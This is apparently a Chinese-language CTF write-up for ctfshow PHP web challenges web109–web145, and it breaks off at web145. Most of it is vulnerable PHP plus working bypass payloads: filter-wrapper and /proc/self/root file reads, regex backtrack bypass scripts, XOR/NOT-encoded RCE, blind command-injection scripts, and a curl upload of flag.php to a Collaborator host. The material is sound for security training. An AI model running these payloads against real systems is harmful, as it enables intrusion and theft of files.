5、ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,strpos()的参数同样不能为数组,否则返回NULL,而判断用的是 !== ,所以这里的条件成立,也能得到flag

strrev() 函数反转字符串。

0x36d 是 877 a%00778 然后翻转87700%a截取整数得到877

?c=a%00778

这里的%00之前好像必须要有字符才可以截断

web109

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

这两个正则表达式至少要匹配到一个字母的字符串,那么我们就找一个php的内置类并且可以直接echo输出就好了啊.

Exception
ReflectionClass
?v1=Exception();system('tac f*');//&v2=a
?v1=ReflectionClass&v2=system('nl *')

image-20220408112052709

web110

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

FilesystemIterator类的使用

<?php

$file = new FilesystemIterator('.'); #创建一个FilesystemIterator对象并传入当前目录的文件

while ($file->valid()){#判断是否到底
#echo $file->getFilename()."\n";#输出文件或者文件夹
$file->next();#指针指向下一位
}

image-20220408112848409

所以我们需要在得到一个点或者路径就可以查看当前目录下(.)的文件,得到一个查看根目录(/)的文件..php中的getcwd()

<?php
echo getcwd();
#D:\Download
?v1=FilesystemIterator&v2=getcwd

image-20220408113433499

image-20220408113447782

web111

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");#如果$v2是$GLOBALS,那么$xxx就是$GLOBALS
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}


}

?>

php超全局变量$GLOBALS的使用

$GLOBALS 引用全局作用域中可用的全部变量
一个包含了全部变量的全局数组,变量的名字就是数组的键
<?php
$a=123;
$b=456;
var_dump($GLOBALS);
?v1=ctfshow&v2=GLOBALS

image-20220408201522610

web112

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

is_file — 判断给定文件名是否为一个正常的文件

我们不能让is_file检测出是文件,并且hightlight_file可以识别为文件,可以使用php伪协议

?file=php://filter/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

?file=compress.zlib://flag.php

还有这个

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输出ls /proc/self/root,其实显示的是根目录下的内容

image-20220408201840652

web114

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!

?file=php://filter/resource=flag.php

image-20220408201931367

web115

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!

trim函数与is_numeric函数

语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
<?php
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
#除了+-.还有%09 %0a %0b %0c %0d %20
<?php
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
#除了+-.号以外还有只剩下%0c也就是换页符了
?num=%0c36

image-20220408202056601

web123

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-05 20:49:30
Last Modified by: h1xa
Last Modified time: 2020-09-07 22:02:47
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

这里的isset($_POST[‘CTF_SHOW.COM’])因为php变量命名是不允许使用点号的

<?php
var_dump($_POST);

image-20220408151831345

PHP1.php

<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}

req.php

<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$respose = curl_exec($ch);
curl_close($ch);
return strlen($respose);
}
$url = "http://127.0.0.1:80/PHP1.php";
for ($i=0; $i <= 128; $i++){
for ($j = 0;$j <= 128; $j++){
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if (curl($url,$data)!=0){
echo $data."\n";
}
}
}
#输出CTF%5BSHOW.COM=123
  • cli模式(命令行)下

    第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

  • web网页模式下

    在web页面模式下必须在php.ini开启register_argc_argv配置项,设置register_argc_argv = On(默认是off),重启服务,$_SERVER[‘argv’]才会有效果,这个时候的$_SERVER['argv'][0] = $_SERVER[‘QUERY_STRING’],$argv在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER['agrv'][0]=$_SERVER['QUERY_STRING']也就是$a[0] = $_SERVER['QUERY_STRING'],这个时候我们只要通过eval(“$c”.”;”);将$flag赋值flag_give_me就可以了.

也就是a[‘$flg’] = flag_give_me

?$fl0g=flag_give_me; 
POST
CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
POST
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
POST
CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
?a=1+fl0g=flag_give_me
POST
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

有大佬啃了下php的c源码总结如下

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。

image-20220408202249395

web125

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-05 20:49:30
Last Modified by: h1xa
Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
?$fl0g=flag_give_me; 
POST
CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
?a=1+fl0g=flag_give_me
POST
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web126

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

?$fl0g=flag_give_me; 
POST
CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
?a=1+fl0g=flag_give_me
POST
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-10 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

req.php

<?php
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
return strlen($result);
}
for ($i=0; $i < 128; $i++) {
$url="http://localhost:80/PHP1.php?ctf".urlencode(chr($i))."show=1";
if(curl($url)!==0){
echo urlencode(chr($i))."\n";
}
}

PHP1.php

<?php
if(isset($_GET['ctf_show'])){
echo 123;
}

发现输出

+ _ [ .  
+ 这里的加号在url中起到空格的作用
?ctf show=ilove36d

image-20220408202623125

web128

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

gettext扩展

在开启该拓展后 _() 等效于 gettext()

<?php
echo gettext("phpinfo");
#结果 phpinfo

echo _("phpinfo");
#结果 phpinfo

我们的flag在flag.php中,所以可以直接使用get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars

image-20220408202843331

web129

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos() 
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
?f=http://url/xxx.txt?ctfshow
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=../ctfshow/../../../../../../../../var/www/html/flag.php

php支持多种编码方式,无效的自动被忽略

image-20220408203126936

web130

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;



正则最大回溯次数绕过

PHP利用PCRE回溯次数限制绕过某些安全限制

php为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设置了一个回溯次数上限pcre.backtrack_limit回溯次数上限的默认是100万,如果回溯次数超过了100万,preg_match将不在返回非1和0,而是false,这样我们就能绕过第一个正则表达式了

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

但是这里也可以使用preg_match无法处理数组

POST
f[]=ctfshow

还有这里的正则匹配是s表示多行

.+表示匹配一次或者多次任意字符,而?表示尽可能少的匹配到前面的字符也就是什么都不加就匹配不到,stripos会匹配到的话返回一个 int 始终不(===)强等于 FALSE

所以什么都不加就匹配不到

POST
f=ctfshow

web131

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}


import requests
url="http://55fddafa-eb92-4a44-adc4-776cbe88c54a.challenge.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

image-20220408203509348

web132

image-20220408203558726

<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

在网址后面输入/admin进入源码界面

image-20220408203628575

 <?php
if(false && false || true){
echo 123;
}
#123
if(true && true || false){
echo 123;
}
#123

所以只需要

?username=admin&password=1&code=admin

image-20220408203704474

web133

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
ctFshoW{30bF48c6-60a1-4dD4-ad20-bD9237778c4k

如果我们传入的$F本身,会不会发生变量覆盖

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明确实执行了命令
我们传递`$F`;+sleeo 3 先进行substr()函数截断然后去执行eval()函数,这个函数的作用就是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行,而我$F就是我们输入的`$F`;+sleep 3使用最后执行的代码应该是``$F`;+sleep 3`,就执行成功

然后就是利用curl去带出去flag.php

Burp的 Collaborator Client

curl -F 将文件上传到burp的collaborator client(功能类似dnslog,其功能要比dnslog强大,主要体现在可以查看post请求包以及打cookies)

?F=`$F`;+curl -X POST -F xx=@flag.php  http://mnd5kc6807ukbpfu3nyqbf35xw3ord.burpcollaborator.net
#其中-F 为带文件类型发送的POST请求
#xx是上传文件的name值,falg.php就是上传文件

image-20220408204550431

image-20220408204558125

web134

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
$a = Cat; $b = Dog; $c = Horse

post变量覆盖

?_POST[key1]=36d&_POST[key2]=36d

image-20220408210832723

web135

内联加变量覆盖

获得dns地址

 <?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
`$F`;+ping `cat flag.php|awk 'NR==2'`.h25mgt.dnslog.cn

上面这个不行哦,反正我的不行

不过既然能执行命令,那可选的方式就多了

?F=`$F `;mv f* 1.txt	重命名
?F=`$F `;nl f*>2.txt 写文件

image-20220410145822650

image-20220410145947069

web136

linux的tree写文件

 <?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

linux中还有其他命令写文件

?c=ls|tee 1.txt

image-20220410150649258

?c=ls /| tee 2

image-20220410150759848

?c=cat /f149_15_h3r3| tee 3

image-20220410150903525

web137

::调用静态方法

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

POST
ctfshow=ctfshow::getflag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

image-20220410151316044

web138

call_user_func()传数组

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);



call_user_func中不但可以传字符串也可以传数组

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
POST
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

image-20220410151732692

web139

命令执行之盲注

 <?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "

import requests
import time
import string
str = string.ascii_letters + string.digits
result = ""
key = 0
for j in range(1,50):
#print(j)
if key ==1 :
break
for n in str:
payload = f"if [ `cat /f149_15_h3r3|cut -c {j}` == {n} ];then sleep 5; fi"
url = "http://ccada3fe-3d44-4659-940d-48a89d8df940.challenge.ctf.show/?c=" + payload
try:
requests.get(url , timeout=3)
except:
result = result + n
print(result)
break
# ctfshow{e9cb03f1-0e2a-4688-9bc3-59cec3f06fd2}

web140

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}



可以看到只要我们让intval($code)为0就可以了intval会将非数字字符转换为0,也就是说

intval('a')==0 
intval('.')==0
intval('/')==0
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
system(system())
pos(pos())

image-20220410170910743

web141

~取反无字母数字绕过正则

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}


/^\W+$/ 作用是匹配非数字字母下划线的字符.

eval("return 1;phpinfo();");

会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的.构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-

php1.php

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

image-20220410172000057

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-

image-20220410172424721

image-20220410172527210

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-

image-20220410172539168

web142

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}


?v1=0

或者

1e-999999就是1x10^-999999,可以把后面的抵消掉

?v1=1e-999999

image-20220410172639947

web143

^异或无字母数字绕过正则

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

先运行php生成字典

记得先改一下正则表达式

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

image-20220410174816376

接着运行py生成payload

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

image-20220410175322502

加减被过滤了还有乘除

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

image-20220410175402782

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%06%00"^"%60%60%20%60%2a")*

image-20220410175450753

image-20220410175444605

web144

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

v3只能是一个字符,那么很容易就想到1-phpinfo()

直接用前面的

?v1=1&v3=-&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%06%00"^"%60%60%20%60%2a")

image-20220410175817291

web145

三目运算符

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
